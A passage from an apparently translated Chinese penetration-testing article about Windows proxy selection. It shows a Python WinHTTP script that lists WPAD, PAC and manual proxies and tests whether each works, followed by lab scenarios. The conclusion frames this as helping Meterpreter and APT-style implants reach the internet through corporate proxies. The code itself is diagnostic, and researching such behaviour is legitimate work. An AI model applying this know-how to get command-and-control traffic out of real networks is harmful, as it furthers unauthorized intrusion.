        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)
        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions),
                                                             ctypes.byref(pProxyInfo))
        if result == False:
            ShowLastError('WinHttpGetProxyForUrl', 6)
        else:
            print '      [+] Proxy: %s' % (pProxyInfo.lpszProxy)
            proxy_list.append(pProxyInfo)

    if pProxyConfig.lpszProxy:
        print 'n  (3) Use a proxy server for your LAN'

        pProxyInfo = WINHTTP_PROXY_INFO()
        WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3

        pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY
        pProxyInfo.lpszProxy = pProxyConfig.lpszProxy
        pProxyInfo.lpszProxyBypass = pProxyConfig.lpszProxyBypass

        print '      [+] Proxy: %s' % pProxyConfig.lpszProxy
        print '      [+] Proxy Bypass: %s' % pProxyConfig.lpszProxyBypass

        proxy_list.append(pProxyInfo)

    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)

    return proxy_list

def CheckProxyStatus(proxyInfo, target_server, target_port):
    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                                 WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)

    if hSession is None:
        ShowLastError('WinHttpOpen')
        return

    server_name = ctypes.c_wchar_p(target_server)
    INTERNET_DEFAULT_HTTP_PORT = target_port
    hInternet = ctypes.windll.winhttp.WinHttpConnect(hSession, server_name, INTERNET_DEFAULT_HTTP_PORT, 0)

    if hInternet is None:
        ShowLastError('WinHttpConnect', 8)
        return False

    WINHTTP_FLAG_BYPASS_PROXY_CACHE = 0x00000100
    WINHTTP_FLAG_SECURE = 0x00800000
    dwFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE
    pwszVerb = ctypes.c_wchar_p('GET')
    pwszObjectName = ctypes.c_wchar_p('')
    hRequest = ctypes.windll.winhttp.WinHttpOpenRequest(hInternet, pwszVerb, pwszObjectName,
                                                        0, 0, 0, dwFlags)

    if hRequest is None:
        ShowLastError('WinHttpOpenRequest', 8)
        return False

    WINHTTP_OPTION_PROXY = 38
    result = ctypes.windll.winhttp.WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, ctypes.byref(proxyInfo),
                                                    ctypes.sizeof(proxyInfo))

    if result == False:
        ShowLastError('WinHttpSetOption', 8)
        return False

    WINHTTP_NO_ADDITIONAL_HEADERS = 0
    WINHTTP_NO_REQUEST_DATA = 0
    result = ctypes.windll.winhttp.WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,
                                                      0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)

    if result == False:
        ShowLastError('WinHttpSendRequest', 8)
        return False
    else:
        WINHTTP_QUERY_STATUS_CODE = 19
        WINHTTP_QUERY_STATUS_TEXT = 20
        WINHTTP_QUERY_RAW_HEADERS_CRLF = 22
        WINHTTP_HEADER_NAME_BY_INDEX = 0
        WINHTTP_NO_HEADER_INDEX = 0
        dwInfoLevel = WINHTTP_QUERY_RAW_HEADERS_CRLF
        lpdwBufferLength = ctypes.wintypes.DWORD()
        lpdwIndex = ctypes.wintypes.DWORD()

        result = ctypes.windll.winhttp.WinHttpReceiveResponse(hRequest, 0)
        if result:
            result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
                                                               WINHTTP_HEADER_NAME_BY_INDEX, 0,
                                                               ctypes.byref(lpdwBufferLength),
                                                               WINHTTP_NO_HEADER_INDEX)
            ERROR_INSUFFICIENT_BUFFER = 122
            if ctypes.GetLastError() == ERROR_INSUFFICIENT_BUFFER:
                lpBuffer = ctypes.create_string_buffer(lpdwBufferLength.value)
                result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
                                                                   WINHTTP_HEADER_NAME_BY_INDEX, ctypes.byref(lpBuffer),
                                                                   ctypes.byref(lpdwBufferLength),
                                                                   WINHTTP_NO_HEADER_INDEX)
                if result:
                    line = lpBuffer.raw.replace('x00', '').split('n')[0]
                    space_1 = line.find(' ')
                    space_2 = line.find(' ', space_1+1)
                    code = line[space_1:space_2].strip()
                    text = line[space_2:].strip()
                    print "t[*] HTTP Query Status Code / Text: nt    %s / %s" % (code, text)
                    if code != "200":
                        return False
                    else:
                        return True

    ctypes.windll.winhttp.WinHttpCloseHandle(hRequest)
    ctypes.windll.winhttp.WinHttpCloseHandle(hInternet)
    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)

    return True

def main():
    result, pProxyConfig = GetCurrentProxies()
    if result == False:
        sys.exit()

    print 'n[*] We got the proxy configuration.'
    if pProxyConfig is None:
        print '[*] No proxy setting found for the current user.'
        sys.exit()

    target_server = 'www.google.com'
    target_url = 'http://' + target_server
    target_port = 80
    proxy_list = GetProxyInfoList(pProxyConfig, target_url)
    print 'n[*] Number of proxies: %s' % str(len(proxy_list))

    print 'n[*] Testing if proxy servers actually work...'
    for proxy in proxy_list:
        print 'n    [*] Proxy "%s" ... ' % proxy.lpszProxy
        result = CheckProxyStatus(proxy, target_server, target_port)
        if result:
            print '        [+] Works! :)'
        else:
            print '        [-] Does not work :('

if __name__ == '__main__':
    main()

上面代码中包括两个重要的函数:

* GetProxyInfoList(pProxyConfig, target_url):这个函数将对当前用户进行的代理设置进行获取,返回指定url代理设置的列表。一定要注意代理列表中包含的可能用于URL进行访问的代理地址。但是这并不意味着代理服务器正在起作用。比如现在正在通过"自动选择配置"选项读取WPAD.DAT文件获取代理地址,但是当访问目标URL时代理服务并不工作。
* CheckProxyStatus(proxy, target_server, target_port):这个函数会对后门的服务以及ip进行检查(通过访问网站根目录),进而验证代理服务是否工作。这个函数会帮助确定当代理服务器给出时,判断是否可用。

测试场景一

在这个测试场景中,客户端在启动后网卡(192.168.0.x)禁用了tmg1以及tmg2代理服务器,这就意味着只有通过TMG3代理服务器进入网络。下面截图就展示了脚本的输出,另外也展示了IE以及火狐浏览器在这个环境中处理方式:

1494301614783763.png

脚本说明了以下内容:

1."自动选择配置"选项已经开启,并且在网卡禁用前通过在后台下载WPAD.PAC文件获得到代理配置为:"192.168.0.10:8080"。但是由于tmg1被禁用,所以代理服务并没有起作用,到达不了目的网络,得到连接超时页面。
2. "使用自动配置脚本"选项开启,并且与1相同,从WPAD.PAC中获得了代理服务器地址"192.168.0.11:8080",但是tmg2代理服务器被禁用,所以同样获得连接超时页面。
3. 手动设置的代理服务器地址为:"tmg3.lab.bransh.com:8080",所以这种方式代理可以成功,并且可以到达目的网络

观察到IE以及火狐并不能通过配置到达目标网络,但是使用tmg3作为代理服务器的应用是可以连接到网络中的。

测试场景二

这个场景和场景一很相似,只是客户端在启动前网卡禁用了tmg1以及tmg2代理服务器。这就意味着同样只有通过tmg3才能进入网络。
以下是运行截图:

1494301652885293.png

通过运行代码,可以获得的内容如下:

1."自动选择配置"开启,但是并没有获得代理服务器地址。因为tmg1代理服务器一开始就不可达,所以不会下载WPAD.PAC文件,不会获得代理设置文件。
2. "使用自动配置脚本"选项开启,并且脚本中提供了"tmg2.lab.bransh.com/wpad.dat"代理脚本地址,不过tmg2服务器不可达,同样获取不到代理服务器地址。
3. 手动设置的代理服务器地址为:"tmg3.lab.bransh.com:8080",所以这种方式代理可以成功,并且可以到达目的网络

测试环境三

在这个测试场景中,客户端在启动前网卡禁用了tmg2代理服务器。所以客户端机器可以通过tmg1以及tmg3进行网络访问。
截图如下:

1494301676536808.png

当运行程序后获得信息如下:

1. "自动选择配置"开启,可以通过获得的代理配置(192.168.0.10:8080)访问网络.
2. "使用自动配置脚本"开启,不过tmg2服务器不可达,所以不能下载wpad.dat脚本。
3. 手动设置的代理服务器地址为:"tmg3.lab.bransh.com:8080",所以这种方式代理可以成功,并且可以到达目的网络

另外,可以观察到IE能读取到代理设置访问网络,但是火狐确不可以。

测试环境四

只有tmg2代理服务器允许使用。

1494301715496100.png

测试环境五

这个测试环境当中,内部网卡三个代理服务器都可以访问,但是外部网卡禁用了tmg1,tmg2网卡。

1494301732958976.png

当运行程序后获得信息如下:

1."自动选择配置"开启,可以通过获得的代理配置(192.168.0.10:8080),但是响应返回502错误,所以不能访问网络。
2. "使用自动配置脚本"同样开启,可以访问到tmg2代理服务器。但是访问响应同样是502,也不能访问网络。
3. 手动设置的代理服务器地址为:"tmg3.lab.bransh.com:8080",所以这种方式代理可以成功,并且可以到达目的网络

观察到IE以及火狐都不能够访问网络。但是使用tmg3代理服务器进行代理的应用软件确可以进行访问。

总结

在某些情况下,就像这篇文章的第一部分一样,我们发现常用的工具并不能像往常一样进行工作。这种情况下,我们有两种选择:一种是使用另外一种方法进行攻击,第二种是找到修复这种问题的方法。对于我这种特定的企业环境中,修复了meterpreter生成的dll,让我们可以进行攻击。我不知道我修改的代码是否被msf采纳,但是如果你以后遇到这样的问题,你会知道怎么修复。

另一方面,我们了解到windows在代理使用方面是有顺序的。但是就像测试环境一那样,如果获得了一个代理配置,windows就会使用它(不管其是否能工作),不会在尝试另外一种代理方式。另外,我们观察到火狐以及IE同样在使用系统代理设置选项下,他们呈现的结果是不同的。最后,我们在两种情况下都可以发现当获得代理设置后(即使代理不能工作),都不会使用其他代理配置。

考虑到这个结果,我们确实有必要使用windowsAPI进行代理配置的测试,设置测试他们是否允许我们进入网络。因此,我们可以编写代码增大我们APT攻击成功的可能性,让它在这种环境也起作用。但是我不得不承认,这种环境实在太特殊了,如果不是测试,我想管理员不会使用这种环境。

作为最后的结论,让我们的APT攻击方案连接成功可能性与IE一样,这就足以在大多数环境中攻击成功。如果IE能够访问网络,那么APT攻击就能成功。

参考资料:

自动选择配置:https://blogs.msdn.microsoft.com/askie/2014/02/07/optimizing-performance-with-automatic-proxyconfiguration-scripts-pac/
windwos web端代理配置:https://blogs.msdn.microsoft.com/ieinternals/2013/10/11/understanding-web-proxy-configuration/
meterpreter编译:https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter
meterpreter winhttp源码:https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/server/win/server_transport_winhttp.c
meterpreter common.h源码:https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/common.h
DebugView:https://technet.microsoft.com/en-us/sysinternals/debugview.aspx
WinHTTP与WinInet不同:https://github.com/rapid7/metasploit-framework/wiki/The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers
Winhttp简单实例源码:http://code.msdn.microsoft.com/windowsdesktop/WinHTTP-proxy-sample-eea13d0c

源链接

Hacking more

...